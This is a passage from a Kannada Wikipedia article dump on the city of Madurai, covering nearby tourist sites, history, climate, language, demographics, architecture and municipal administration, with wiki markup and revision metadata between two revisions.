ಅಜ್ಹಗರ್‌ ಕೋವಿಲ್‌ನ ಪ್ರವೇಶ ದ್ವಾರದಲ್ಲಿ [[ಬದರಿ ನಾರಾಯಣ ದೇವಾಲಯ]]ವನ್ನು ಸಹಾ ನೋಡಬಹುದು, ಇದನ್ನು ಉತ್ತರ ಭಾರತದ ಕೈಲಾಸ ಪರ್ವತದಲ್ಲಿರುವ ಬದ್ರೀನಾಥ್‌ನಂತೆಯೇ ನಿರ್ಮಿಸಲಾಗಿದೆ: ಇಲ್ಲಿನ ಪ್ರಮುಖ ಮೂರ್ತಿಯು, ನರ ನಾರಾಯಣರಿಂದ ಸುತ್ತುವರೆಯಲ್ಪಟ್ಟು ಧ್ಯಾನಮಗ್ನ ಭಂಗಿಯಲ್ಲಿರುವ ವಿಷ್ಣುವನ್ನು ಬಿಂಬಿಸುತ್ತದೆ. ಕಲ್ಲಲಾಗರ್‌ ತಮಿಳುನಾಡಿನ ಪ್ರಸಿದ್ಧ ಹಬ್ಬವಾದ/ಉತ್ಸವವಾದ ಚಿತ್ತಿರೈ ಉತ್ಸವದ ಹಿಂದಿನ ದಿನ ದೇವಾಲಯಕ್ಕೆ ಭೇಟಿ ನೀಡುತ್ತಾನೆಂದು ನಂಬಿಕೆ ಇದೆ. ಆತ ತನ್ನ ಪ್ರಯಾಣವನ್ನು ಬದರಿ ನಾರಾಯಣ ದೇವಾಲಯವನ್ನು ಹಾದು ಅಲಗರ್‌ ಕೋಯಿಲ್‌ನಿಂದ ಆರಂಭಿಸುತ್ತಾನೆ. ಇದೇ ಸಮಯದಲ್ಲಿ ಆತ ವೈಗೈ ನದಿ ಸಮೀಪದ ಮಧುರೈನ ಪೂರ್ವ ಹೊರವಲಯದಲ್ಲಿರುವ ವಂಡಿಯೂರಿಗೆ ಭೇಟಿ ನೀಡುತ್ತಾನೆ. ನಂಬಿಕೆಯ ಪ್ರಕಾರ ಆತ ತನ್ನ ಸಹೋದರಿಯ ಮದುವೆಗೆ ತಾನು ತಡವಾದೆ ಎಂಬುದನ್ನು ಅರಿತು ನದಿಯನ್ನು ದಾಟಲು ನಿರಾಕರಿಸಿ/ದಾಟದೇ ನಿರಾಶೆಯಿಂದ ಅಲಗರ್‌ ಕೋಯಿಲ್‌ಗೆ ಮರಳುತ್ತಾನೆ ಎಂಬ ನಂಬಿಕೆ ಇದೆ. ಇಲ್ಲಿಯ ಬೆಟ್ಟಗಳ ಮೇಲೆ [[ಪಜಮುಡಿರ್‌ಚೋಳೈ]] ಎಂಬ ಹೆಸರಿನಿಂದ ಪ್ರಸಿದ್ಧವಾದ ಮುರುಗನ್‌ ದೇವರ ದೇವಾಲಯವಿದೆ. ಈ ದೇವಾಲಯವು ಮುರುಗನ್‌‌ನ ಅರುಪಾದೈ ವೀಡುಗಳಲ್ಲಿ ಕೊನೆಯದಾಗಿದ್ದು ಇಲ್ಲಿ ಆತನನ್ನು ಪತ್ನಿಯರಾದ ದೇವನೈ ಮತ್ತು ವಲ್ಲಿಯರ ಜೊತೆಗೆ ನೋಡಬಹುದು. * [[ಕೊಡೈಕೆನಾಲ್‌]] ಮಧುರೈನಿಂದ ಸುಮಾರು 120 kmಗಳಷ್ಟು ದೂರದಲ್ಲಿ ಭಾರತದಲ್ಲಿನ ಅತ್ಯಂತ ಸುಂದರ ಗಿರಿಧಾಮಗಳಲ್ಲಿ ಒಂದಾದ ಕೊಡೈಕೆನಾಲ್‌/ಕೊಡೈಕನಾಲ್‌ ನಗರವಿದೆ. ಇದನ್ನು ಬೆಟ್ಟಗಳ ರಾಜಕುಮಾರಿ/ರಾಣಿ ಎಂದೂ ಕರೆಯುತ್ತಾರೆ. ಪಶ್ಚಿಮ ಘಟ್ಟಗಳ ಪ್ರದೇಶದಲ್ಲಿ ಸಮುದ್ರ ಮಟ್ಟದಿಂದ 2,130 mಗಳಷ್ಟು ಎತ್ತರದಲ್ಲಿ ಕೊಡೈ ನಗರವಿದೆ. * [[ವೈಗೈ ಅಣೆಕಟ್ಟು]] ಮಧುರೈನಿಂದ ಟೇಕ್ಕಡಿಗೆ ಹೋಗುವ ದಾರಿಯಲ್ಲಿ ಸುಮಾರು 70&nbsp;km ದೂರದಲ್ಲಿ ವೈಗೈ ಅಣೆಕಟ್ಟು ಇದೆ. ವಾರಾಂತ್ಯದಲ್ಲಿ ದೀಪಗಳ ಅಲಂಕಾರದಲ್ಲಿ ಈ ಅಣೆಕಟ್ಟು ಬೆರಗು ಹುಟ್ಟಿದುವಂತಹಾ ದೃಶ್ಯ ವೈಭವ ಹೊಂದಿರುತ್ತದೆ. * [[ರಾಮೇಶ್ವರಂ]] ಪವಿತ್ರ ನಗರವಾದ ರಾಮೇಶ್ವರಂ ದೇವಾಲಯಗಳ ನಗರವಾದ ಮಧುರೈನಿಂದ ಸುಮಾರು 164 ಕಿಲೋಮಿಟರ್‌ಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. * ಸುರುಳಿ ಜಲಪಾತ ಶ್ರೀಮಂತ ಸಸ್ಯರಾಶಿ ಮತ್ತು ಪುಷ್ಪರಾಶಿಗಳ ಮಧ್ಯವಿರುವ ಸುರುಳಿ ಜಲಪಾತವು ಸೂಕ್ತ ಪಿಕ್‌ನಿಕ್‌ ಸ್ಥಳವಾಗಿದೆ. ಇದು ಮಧುರೈನಿಂದ ಟೇಕ್ಕಡಿಗೆ ಹೋಗುವ ದಾರಿಯಲ್ಲಿ ಸುಮಾರು 123 kmಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. * [[ಟೇಕ್ಕಡಿ]] / ಕುಮಿಲಿ ಟೇಕ್ಕಡಿಯು ಕೇರಳದ ಇಡುಕ್ಕಿ ಜಿಲ್ಲೆಯ ಪೆರಿಯಾರ್‌ ವನ್ಯಜೀವಿಧಾಮವು ವಿಶ್ವದ ಅತ್ಯಾಕರ್ಷಕ ನೈಸರ್ಗಿಕ ವನ್ಯಜೀವಿ ಸಂರಕ್ಷಣಾಲಯವಾಗಿದೆ. 360;km²ದಷ್ಟು ದಟ್ಟ ಹಸಿರು ಕಾನನವನ್ನು ಒಳಗೊಂಡಿರುವ 777&nbsp;km²ದಷ್ಟು ವಿಸ್ತಾರವಾದ ಪ್ರದೇಶದಲ್ಲಿ ಹರಡಿರುವ ಪೆರಿಯಾರ್‌ ವನ್ಯಜೀವಿಧಾಮವನ್ನು ಹುಲಿಗಳ ಅಭಯತಾಣವೆಂದು 1978ರಲ್ಲಿ ಘೋಷಿಸಲಾಗಿದೆ. ಇದು ಮಧುರೈನಿಂದ 155 kmಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ ಹಾಗೂ ಅನೇಕ ಪ್ರಾಣಿ ಪಕ್ಷಿಗಳಿಗೆ ನೆಲೆಯಾಗಿದೆ. * [[ಕೌಟ್ರಲ್ಲಂ]] (ತಿರುನಲ್ವೇಲಿಯ ಬಳಿ) ಜಲಪಾತಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾದ ಇದು ಮಧುರೈನಿಂದ 160 kmಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. 'ದಕ್ಷಿಣದ ಖನಿಜಜಲ ಚಿಲುಮೆ' ಎಂದು ಹೆಸರಾಗಿರುವ ಈ ಪ್ರದೇಶದಲ್ಲಿ ಅಪಾರವಾದ ನೈಸರ್ಗಿಕ ಸೌಂದರ್ಯವಿದೆ. == ಇದನ್ನೂ ನೋಡಿರಿ == * [http://view360.in/virtualtour/madurai/ ಮಧುರೈನ '''ಮೀನಾಕ್ಷಿ ಅಮ್ಮನ್‌ ದೇವಾಲಯ''' ದ 360 ಡಿಗ್ರಿ ಪರಸ್ಪರ ವರ್ತನೆಯ/ಇಂಟರ್ಯಾಕ್ಟೀವ್‌ ಅವಾಸ್ತವಿಕ ನೋಟ] {{Webarchive|url=https://web.archive.org/web/20091024153603/http://www.view360.in/virtualtour/madurai/ |date=2009-10-24 }} * [[ಮಧುರೈನ ಸಾಫ್ಟ್‌ವೇರ್‌/ತಂತ್ರಾಂಶ ಕಂಪೆನಿಗಳು]] * [[ಮಧುರೈ (ಲೋಕಸಭಾ ಕ್ಷೇತ್ರ )]] * [[ಮಧುರೈ ಜಿಲ್ಲೆ]] * [[ಮಧುರೈ ಉಪಭಾಷೆ]] * [[ಮಧುರೈ ಜಿಲ್ಲೆಯಲ್ಲಿರುವ ಮಹಾವಿದ್ಯಾಲಯಗಳು ಹಾಗೂ ಸಂಸ್ಥೆಗಳ ಪಟ್ಟಿ]] {{Template group |list = {{Hindu holy cities}} {{Municipal corporations of Tamil Nadu}} {{Tamil Nadu}} }} * [http://www.bharatrail.net/ ಭಾರತೀಯ ರೈಲ್ವೆಯ ಪ್ರಯಾಣಿಕರ ವಿಚಾರಣಾ ಸೇವೆ ಭಾರತ್‌ರೈಲ್‌] {{Webarchive|url=https://web.archive.org/web/20091221100303/http://www.bharatrail.net/ |date=2009-12-21 }} == ಉಲ್ಲೇಖಗಳು == {{Commons category}} {{reflist|2}} [[ವರ್ಗ:ಭಾರತದ ಪಟ್ಟಣಗಳು]] [[ವರ್ಗ:ಮಧುರೈ]] [[ವರ್ಗ:ಹಿಂದೂ ಪವಿತ್ರ ನಗರಗಳು]] [[ವರ್ಗ:ತಮಿಳುನಾಡಿನ ನಗರಗಳು ಮತ್ತು ಪಟ್ಟಣಗಳು]] [[ವರ್ಗ:ಮಧುರೈ ರೈಲ್ವೇ ವಿಭಾಗ]] [[ವರ್ಗ:ಭಾರತೀಯ ರೈಲ್ವೆಯ ವಿಭಾಗಗಳು]] [[ವರ್ಗ:ದಕ್ಷಿಣ ರೈಲ್ವೆ (ಭಾರತ ) ವಲಯ]] [[ವರ್ಗ:ತಮಿಳುನಾಡಿನ ನಗರಗಳು]] sutvkafpwg9su2mhox625qk08v0bc52 1116555 1116552 2022-08-24T03:20:39Z Info-farmer 7254 /* ರೈಲು ಸಾರಿಗೆ */ File:மதுரைத் தொடருந்து நிலையம் 2022 ஆகத்து 13.jpg wikitext text/x-wiki {{Infobox Indian Jurisdiction | native_name = ಮದುರೈ <br />மதுரை | type = city | latd = 9.8 | longd = 78.10 | skyline=Madurai, India.jpg | skyline_caption= ಮದುರೈನ ನೋಟ | state_name =ತಮಿಳುನಾಡು | district = [[ಮದುರೈ ಜಿಲ್ಲೆ]] | language = ತಮಿಳು | area_total = 109 | altitude = 8 | population_total = 1128869 |population_density=೧೦೨೫೬ | population_as_of = ೨೦೦೧ | population_total_cite =<ref name=census /> | leader_title = ಮೇಯರ್ | leader_name = ಥೆನ್ಮೋಳಿ ಗೋಪಿನಾಥನ್<ref>{{cite web | url=http://www.hindu.com/2006/10/29/stories/2006102911600100.htm | title=First woman Mayor for Madurai | work=The Hindu | dateformat=mdy | accessdate=October 29, 2006 | archive-date=ಅಕ್ಟೋಬರ್ 1, 2007 | archive-url=https://web.archive.org/web/20071001015924/http://www.hindu.com/2006/10/29/stories/2006102911600100.htm | url-status=dead }}</ref> | area_telephone = 452 | postal_code = 625 0xx | vehicle_code_range = TN-58, TN-59 and TN-64| website = www.maduraicorporation.in }} [[ಭಾರತೀಯ]] ದ್ವೀಪಕಲ್ಪ<ref name="FrommersIndia">ಫ್ರಾ/ಫ್ರಮ್ಮರ್ಸ್‌ ಇಂಡಿಯಾ ಲೇ: ಪಿಪ್ಪ ಡೆಬ್ರೂನ್‌, ಕೀತ್‌ ಬೇನ್‌, ನೀಲೋಫರ್‌ ವೆಂಕಟರಾಮನ್‌, ಷೋನಾರ್‌ ಜೋಷಿ</ref> ದ ಜನವಾಸ್ತವ್ಯವಿದ್ದ ಪ್ರಾಚೀನ ನಗರ '''ಮಧುರೈ''' ({{lang-ta|மதுரை}}). [[ಭಾರತದ ರಾಜ್ಯ]]ವಾದ [[ತಮಿಳುನಾಡು|ತಮಿಳುನಾಡಿ]]ನ [[ಮಧುರೈ ಜಿಲ್ಲೆ]]ಯಲ್ಲಿ [[ವೈಗೈ ನದಿ]]ತೀರದ ಪ್ರಾಚೀನ ಹಾಗೂ ಪ್ರತಿಷ್ಠಿತ ನಗರವಾಗಿದೆ. ಈ ನಗರವನ್ನು ವ್ಯಾಪಕವಾಗಿ '''ದೇವಾಲಯಗಳ ನಗರ''' <ref name="FrommersIndia" />, ಇದನ್ನು ಕೂದಲ್‌ ಮಾನಗರ್‌ ಎಂದೂ ಕರೆಯುತ್ತಾರೆ, ತಮಿಳುನಾಡಿನ ಸಾಂಸ್ಕೃತಿಕ ರಾಜಧಾನಿ (ಕಲಾಚಾರ ತಲೈನಗರ್‌) , ಮಲ್ಲಿಗೈ ಮಾನಗರ್‌(ಮಲ್ಲಿಗೆಯ ನಗರ), ಥೂಂಗ ನಗರಂ(ನಿದ್ದೆಮಾಡದ ನಗರ), '''ಪೂರ್ವದ ಅಥೆನ್ಸ್‌''' ಎಂಬಿತ್ಯಾದಿ ಹೆಸರುಗಳಿಂದ ಕರೆಯುತ್ತಾರೆ. 2001ರ ಜನಗಣತಿ<ref>{{cite web|url=http://www.citypopulation.de/India-TamilNadu.html |title=Tamil Nādu - City Population - Cities, Towns & Provinces - Statistics & Map |publisher=Citypopulation.de |date= |accessdate=2009-09-23}}</ref> ಯ ಪ್ರಕಾರ 1,203,095ರಷ್ಟು ಜನಸಂಖ್ಯೆ ಇರುವ ಈ ನಗರ ತಮಿಳುನಾಡಿನಲ್ಲೇ ಮೂರನೇ ಅತಿ ದೊಡ್ಡ ಮಹಾನಗರವಾಗಿದೆ. ಪ್ರಾಚೀನ ಕಾಲದ ದಕ್ಷಿಣ ನಾಗರೀಕತೆಯ ರಾಜಧಾನಿಯಾಗಿತ್ತು ಮಧುರೈ ಮಹಾನಗರ. ಮಧುರೈನ ಸಾಂಸ್ಕೃತಿಕ ಹಿನ್ನೆಲೆಯು 2,500 ವರ್ಷಗಳಷ್ಟು ಹಿಂದಿನದು ಹಾಗೂ ನಗರವು ಪ್ರಮುಖ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವಾಗಿದ್ದುದಲ್ಲದೇ 550 B.C.E.<ref name="FrommersIndia" /> ಗಳಷ್ಟು ಪ್ರಾಚೀನ ಕಾಲದಿಂದ ರೋಮ್‌ ಮತ್ತು ಗ್ರೀಸ್‌ ರಾಷ್ಟ್ರಗಳ ಜೊತೆಗೆ ವ್ಯವಹಾರ ನಡೆಸಲಾಗುತ್ತಿತ್ತು<ref name="http://www.madurai.com/madurai.htm">{{cite web |author= |url=http://www.madurai.com/madurai.htm |title=Madurai, Temple Town of South India. Cultural capital of Tamilnadu |publisher=Madurai.com |date= |accessdate=2009-09-23 |archive-date=2009-07-07 |archive-url=https://web.archive.org/web/20090707203249/http://www.madurai.com/madurai.htm |url-status=dead }}</ref>. == ಇತಿಹಾಸ == ಮಧುರೈನ ಇತಿಹಾಸವು ಕ್ರಿಸ್ತ-ಯುಗಕ್ಕೂ ಹಿಂದಿನ ಸಂಗಮ್‌ ಅವಧಿಯಷ್ಟು ಹಳೆಯದು. ಇದು ಪ್ರಾಚೀನ [[ಪಾಂಡ್ಯರ]] [[ತಮಿಳಾಕಮ್‌]] ಸಾಮ್ರಾಜ್ಯದ ಅಧಿಕಾರ ಕೇಂದ್ರವಾಗಿತ್ತು. ಸಂಗಮ್‌ ಅವಧಿಯ ಕವಿ ನಕ್ಕೀರರ್‌ರನ್ನು ಸುಂದರೇಶ್ವರರ್‌‌ನ ತಿರುವಿಲಾಯದಲ್‌ ಉಪಕಥೆಗಳೊಡನೆ ಸಂಬಂಧಿಸಿ ಹೇಳಲಾಗುತ್ತದೆ. ಇವುಗಳನ್ನು ಈಗಲೂ ದೇಗುಲಗಳ ಸಾಂಪ್ರದಾಯಿಕ ಜಾತ್ರೆ/ಉತ್ಸವಗಳಲ್ಲಿ ಇಟ್ಟು ಪೂಜಿಸಲಾಗುತ್ತದೆ<ref name="http://www.madurai.com/history.htm">{{cite web|url=http://www.madurai.com/history.htm |title=History of Madurai |publisher=www.madurai.com |date= |accessdate=2009-09-23}}</ref>. 3ನೇ ಶತಮಾನ BCಯಷ್ಟು ಪ್ರಾಚೀನ ಕಾಲದಲ್ಲಿ [[ಮೆಗಾಸ್ತನೀಸ್‌]] ಮಧುರೈ ನಗರಕ್ಕೆ ಭೇಟಿ ನೀಡಿದ್ದ. ನಂತರ ರೋಮ್‌ ಮತ್ತು ಗ್ರೀಸ್‌ ದೇಶಗಳಿಂದ ಅನೇಕರು ಮಧುರೈಗೆ ಭೇಟಿ ನೀಡಿದ್ದಲ್ಲದೇ ಪಾಂಡ್ಯ ಅರಸರೊಡನೆ ವಾಣಿಜ್ಯ ವ್ಯವಹಾರಗಳನ್ನು ಆರಂಭಿಸಿದ್ದರು. ಪ್ರಾಚೀನ [[ಕುಮಾರಿ ಕಂದಂ]] ಎಂಬ ದಂತಕಥೆ/ಪುರಾಣದ ಪ್ರಕಾರ, ಲೋಕರೂಢಿಯಲ್ಲಿ ''ಥೆನ್‌ಮಧುರೈ'' ಅಥವಾ ''ದಕ್ಷಿಣ ಮಧುರೈ'' ಎಂದು ಕರೆಯಲಾಗುತ್ತಿದ್ದ ಮೂಲ ಮಧುರೈ ನಗರವನ್ನು [[ತ್ಸುನಾಮಿ/ಸುನಾಮಿ]] ಅಲೆಗಳು ದಾಳಿ ಮಾಡಿ ನಾಶವಾಯಿತು. ಹೊಸದಾಗಿ ಕಟ್ಟಿದ ನಗರವು ಕಡೆಯ ಶತಮಾನದ ಮೊದಲ ಭಾಗದಲ್ಲಿ ಕೊನೆಯ [[ತಮಿಳು ಸಂಗಂ]] ಸಾಮ್ಯಾಜ್ಯಕ್ಕೆ ನೆಲೆಯಾಗಿತ್ತು. ಪ್ರಸಿದ್ಧ ರಾಷ್ಟ್ರಕವಿ [[ಸುಬ್ರಮಣ್ಯ ಭಾರತಿ]]ಯವರು 20ನೇ ಶತಮಾನದ ಮೊದಲ ಭಾಗದಲ್ಲಿ ಸೇತುಪತಿ ಪ್ರೌಢಶಾಲೆಯ [[ತಮಿಳು ಭಾಷಾ]] [[ಪಂಡಿತರಾಗಿ]]/ಶಿಕ್ಷಕರಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದರು. ನೆರೆಯ [[ದಿಂಡಿಗಲ್‌]] ಜಿಲ್ಲೆಯಲ್ಲಿ ವಡಮಧುರೈ ಎಂಬ ಸಣ್ಣ ಪಟ್ಟಣವಿದೆ ಹಾಗೂ ಮತ್ತೊಂದು ನೆರೆಯ ಜಿಲ್ಲೆ ಸಿ/ಶಿವಗಂಗೈನಲ್ಲಿ ಮತ್ತೊಂದು [[ಮನಮಧುರೈ]] ಎಂಬ ಪಟ್ಟಣವಿದೆ. {{climate chart |Madurai |20|30|20 |21|32|13.5 |22.5|35|18 |25|37|55 |26|37|70 |26|36|40 |25|35.5|49.5 |25|35|104 |24|34|119 |24|32|188 |23|30|145 |21|29|51 |source=Nirvana Tour<ref>{{cite web|url=http://www.nirvanatour.de/india/clima.html|title=Temperature and Rainfall chart|publisher=Nirvana Tour|accessdate=2008-05-25|archive-date=2008-12-29|archive-url=https://web.archive.org/web/20081229150410/http://www.nirvanatour.de/india/clima.html|url-status=dead}}</ref> |float=right }} ಪಾಂಡ್ಯ<ref name="http://www.madurai.com/history.htm"/> ರ ಪ್ರಮುಖ ಶತೃಗಳಾದ ಚೋಳರು 10ನೇ ಶತಮಾನ ADಯಲ್ಲಿ ಮಧುರೈಯನ್ನು ವಶಪಡಿಸಿಕೊಳ್ಳುವವರೆಗೆ ನಗರವು ಉಚ್ಛ್ರಾಯ ಸ್ಥಿತಿಯಲ್ಲಿತ್ತು. ಇದೇ ಸಹಸ್ರಮಾನದ ಆರಂಭದಲ್ಲಿ ವಿಜಯನಗರ ಸಾಮ್ರಾಜ್ಯದ ಆಳ್ವಿಕೆಗೆ ಒಳಪಟ್ಟುದದರಿಂದ ಮಧುರೈಯ ವೈಭವವು ತಗ್ಗಿದ ಪ್ರಮಾಣದಲ್ಲಾದರೂ ಮರಳಿತು ಹಾಗೂ ಮಧುರೈಯನ್ನು ನಾಯಕ್‌ ಚಕ್ರವರ್ತಿಗಳು ಆಳುತ್ತಿದ್ದರು, ಇವರಲ್ಲಿ ಪ್ರಥಮರು ತಿರುಮಲೈ ನಾಯಕರ್‌<ref name="http://www.madurai.com/history.htm"/>. == ಭೌಗೋಳಿಕ ಮತ್ತು ಹವಾಮಾನ ವಿವರ == [[ಚಿತ್ರ:Madurai 78.11654E 9.93331N.jpg|thumb|left|ಮಧುರೈ ನಗರ ಪ್ರದೇಶದ ಉಪಗ್ರಹ ನೋಟ]] ಮಧುರೈ ನಗರವು 52&nbsp;km²ದಷ್ಟು ವಿಸ್ತೀರ್ಣ ಹೊಂದಿದ್ದು, ಪ್ರಸ್ತುತ 130&nbsp;km²<ref>{{cite web |url=http://www.madurai.com/general.htm |title=Madurai General Information |publisher= |accessdate=2008-06-15}}</ref> ನಷ್ಟು ನಗರಪ್ರದೇಶವನ್ನು ಒಳಪಡುವಷ್ಟು ವಿಸ್ತಾರವಾಗಿದ್ದು, {{Coord|9.93|N|78.12|E|}}ಯಲ್ಲಿ ನೆಲೆಗೊಂಡಿದೆ.<ref>{{cite web |url=http://www.fallingrain.com/world/IN/25/Madurai.html |title=Maps, Weather, and Airports for Madurai, India |publisher=Falling Rain Genomics, Inc |accessdate=2008-06-15}}</ref> ಈ ನಗರವು ಸಮುದ್ರ ತಳ ಮಟ್ಟದಿಂದ 101 ಮೀಟರ್‌ಗಳಷ್ಟು ಎತ್ತರದಲ್ಲಿದೆ. ಅಕ್ಟೋಬರ್‌-ಡಿಸೆಂಬರ್ ಅವಧಿಯಲ್ಲಿ [[ಈಶಾನ್ಯ ಮುಂಗಾರಿನ]] ಮಳೆಯೊಂದಿಗೆ ಹವಾಗುಣವು ಒಣ ಹಾಗೂ ಬಿಸಿಯಾಗಿರುತ್ತದೆ. ಬೇಸಿಗೆ ಕಾಲದ ಉಷ್ಣತೆಯು ಗರಿಷ್ಠ 40 ಮತ್ತು ಕನಿಷ್ಠ 26.3 ಡಿಗ್ರಿ ಸೆಲ್ಷಿಯಸ್‌ನಷ್ಟಿದ್ದರೂ 43 ದಿಗ್ರಿಗಳ ಮೇಲಿನ ತಾಪಮಾನವೂ ಅಸಹಜವೇನಲ್ಲ. ಚಳಿಗಾಲ ತಾಪಮಾನವು 29.6ರಿಂದ 18 ಡಿಗ್ರಿ ಸೆಲ್ಷಿಯಸ್‌ವರೆಗೆ ಇರುತ್ತದೆ. ಸರಾಸರಿ ವಾರ್ಷಿಕ ಮಳೆಯ ಪ್ರಮಾಣ 85 cmನಷ್ಟಿರುತ್ತದೆ. == ಭಾಷೆ == ಮಧುರೈನಲ್ಲಿ ಹಾಗೂ ಸುತ್ತಮುತ್ತದ ಪ್ರದೇಶಗಳಲ್ಲಿ [[ತಮಿಳು]] ಪ್ರಧಾನ ಭಾಷೆಯಾಗಿದೆ. [[ಮಧುರೈನ ತಮಿಳು]] ಪ್ರಭೇದವು ಇತರೆ [[ತಮಿಳು]] ಪ್ರಭೇದಗಳಾದ [[ಕೊಂಗು ತಮಿಳು]] ಮತ್ತು [[ನೆಲ್ಲೈ ತಮಿಳು]]ಗಳಿಗಿಂತ ಅಲ್ಪ ವ್ಯತ್ಯಾಸ ಹೊಂದಿದೆ. ತಮಿಳಿನೊಂದಿಗೆ ಬಳಕೆಯಲ್ಲಿರುವ ಇತರೆ ಭಾಷೆಗಳೆಂದರೆ [[ಆಂಗ್ಲ]], [[ತೆಲುಗು]], [[ಸೌರಾಷ್ಟ್ರ]] ಹಾಗೂ [[ಉರ್ದು]] ಭಾಷೆಗಳು,. ಆದಾಗ್ಯೂ ಇವುಗಳಲ್ಲಿ ಕೆಲ ಭಾಷೆಗಳ ಪದಗಳು ತಮಿಳು ಪದಗಳನ್ನು ಸೇರಿಸಿಕೊಂಡಿವೆ. == ಜನಸಾಂದ್ರತೆ == 2001ರ ಭಾರತೀಯ [[ಜನಗಣತಿ]]<ref name="census">{{cite web |url=http://www.census.tn.nic.in/pca2001.aspx |title=TN(India)Census within Corporation limit |publisher=Tamil Nadu Census |date= |accessdate=2009-09-24 |archive-date=2009-06-07 |archive-url=https://www.webcitation.org/5hLZ0ljez?url=http://www.census.tn.nic.in/pca2001.aspx |url-status=dead }}</ref> ಯ ಪ್ರಕಾರ, ಮಧುರೈ ನಗರವು ಪೌರಸಂಸ್ಥೆಗಳ ವ್ಯಾಪ್ತಿಯ ಪ್ರದೇಶದಲ್ಲಿ 928,869ರಷ್ಟು ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿದ್ದು, ನಗರ ಪ್ರದೇಶದಲ್ಲಿನ ಜನಸಂಖ್ಯೆ 1,194,665ರಷ್ಟಿದೆ. ಒಟ್ಟು ಜನಸಂಖ್ಯೆಯಲ್ಲಿ 51% ಪುರುಷರೂ ಮತ್ತು 49% ಮಹಿಳೆಯರೂ ಇದ್ದಾರೆ. ಮಧುರೈ ನಗರವು ಸರಾಸರಿ ರಾಷ್ಟ್ರೀಯ ಸಾಕ್ಷರತೆಯ ಪ್ರಮಾಣವಾದ 59.5%ನ್ನೂ ಮೀರಿಸಿ ಸರಾಸರಿ 79%ರಷ್ಟು ಸಾಕ್ಷರತೆ ದರ ಹೊಂದಿದೆ: ಪುರುಷರ ಸಾಕ್ಷರತೆ 84%ರಷ್ಟಿದ್ದರೆ, ಮಹಿಳೆಯರ ಸಾಕ್ಷರತೆ 74%ರಷ್ಟಿದೆ. ಮಧುರೈನಲ್ಲಿ, ಜನಸಂಖ್ಯೆಯ 10%ರಷ್ಟು ಭಾಗ 6 ವರ್ಷದೊಳಗಿನವರಾಗಿದ್ದಾರೆ. ಪ್ರತಿ 1,000 ಪುರುಷರಿಗೆ 968 ಸ್ತ್ರೀಯರಿದ್ದಾರೆ.<ref>{{cite web|url=http://www.tn.gov.in/dear/Women%20empower.pdf|format=PDF|title=Women Development|access-date=2009-12-22|archive-date=2009-03-04|archive-url=https://web.archive.org/web/20090304045935/http://www.tn.gov.in/dear/Women%20empower.pdf|url-status=dead}}</ref> == ವಾಸ್ತು ಶಿಲ್ಪ == [[ಚಿತ್ರ:Vaigai-MDU.jpg|thumb|right|ವೈಗೈ ನದಿಯ ಒಂದು ನೋಟ]] ಮಧುರೈ ನಗರವನ್ನು ಮೀನಾಕ್ಷಿ ಸುಂದರೇಶ್ವರರ್‌ ದೇಗುಲವನ್ನು ಸುತ್ತುವರೆದು ಕಟ್ಟಲಾಗಿದೆ. ಬ್ರಹ್ಮಾಂಡದ ರಚನೆಯನ್ನು ಸಂಕೇತಿಸುವಂತೆ ಕೇಂದ್ರಿತ ಚತುಷ್ಕೋನಾಕೃತಿ ರಸ್ತೆಗಳು ದೇಗುಲವನ್ನು ಸುತ್ತುವರೆದಿವೆ. ಇಡೀ ನಗರವನ್ನು [[ಕಮಲ]]ದ<ref name="http://www.madurai.com/history.htm"/> ಹೂವಿನ ಆಕೃತಿಯಲ್ಲಿ ಕಟ್ಟಲಾಗಿದೆ. ಚೌಕಾಕಾರದ ರಸ್ತೆಗಳಲ್ಲಿ ಕೆಲವು ರಸ್ತೆಗಳಿಗೆ ತಮಿಳು ತಿಂಗಳುಗಳ ಹೆಸರನ್ನಿಡಲಾಗಿದೆ. ಮೀನಾಕ್ಷಿ ದೇಗುಲವನ್ನು ಸುತ್ತುವರೆದಿರುವ ಆರು ಪ್ರಮುಖ ಚೌಕಾಕಾರದ ರಸ್ತೆಗಳೆಂದರೆ ಆದಿ,ಚಿತಿರೈ,ಆವನಿ ಮೂಲಾ,ಮಾಸಿ,ಮಾರತ್‌ ಮತ್ತು ವೇಲಿ ರಸ್ತೆಗಳು. == ಪೌರಾಡಳಿತ == ಇಡೀ ಮಧುರೈ ಜಿಲ್ಲೆಯು ಮಧುರೈ ಜಿಲ್ಲಾಧಿಕಾರಿಗಳ ಆಡಳಿತಕ್ಕೊಳಪಟ್ಟಿದೆ ಹಾಗೂ ನಗರಸಭೆಯ ಪರಿಧಿಯಲ್ಲಿನ ಪ್ರದೇಶಗಳು ಮಧುರೈ [[ನಗರಸಭೆ]]ಯ ಆಡಳಿತಕ್ಕೊಳಪಟ್ಟಿವೆ. 1971ರಲ್ಲಿ ಚೆನ್ನೈ <ref>{{cite web |url=http://203.101.40.168/newmducorp/aboutus.htm |title=Welcome to Madurai Corporation - All About Madurai Corporation |publisher=203.101.40.168 |date= |accessdate=2009-09-23 |archive-date=2009-02-13 |archive-url=https://web.archive.org/web/20090213062200/http://203.101.40.168/newmducorp/aboutus.htm |url-status=dead }}</ref> ನಂತರ ರಚಿಸಲಾದ ಎರಡನೇ ನಗರಸಭೆಯಾಗಿತ್ತು. ಈ ನಗರಸಭೆಯು ಅಭಿವೃದ್ಧಿ ಕೆಲಸಗಳನ್ನು ಉತ್ತಮ ರೀತಿಯಲ್ಲಿ ಕೈಗೊಂಡಿದ್ದಕ್ಕಾಗಿ 2008ನೇ ಸಾಲಿನ ಅನೇಕ ರಾಷ್ಟ್ರೀಯ ಪ್ರಶಸ್ತಿಗಳನ್ನು ಪಡೆದಿದೆ <ref name="award">{{cite news |url=http://www.hindu.com/2008/12/09/stories/2008120960120600.htm |title=Madurai Corporation bags three national awards |publisher=The Hindu |date=2008-12-09 |accessdate=2009-09-24 |archive-date=2008-12-12 |archive-url=https://web.archive.org/web/20081212155251/http://www.hindu.com/2008/12/09/stories/2008120960120600.htm |url-status=dead }}</ref>. ಅಲ್ಲಿನ ಮೇಯರ್‌/ನಗರಸಭಾದ್ಯಕ್ಷರು ಪುರಸಭೆಯ ಶಾಲಾ ಮಂಡಳಿ, ನಗರ ಸಾರಿಗೆ 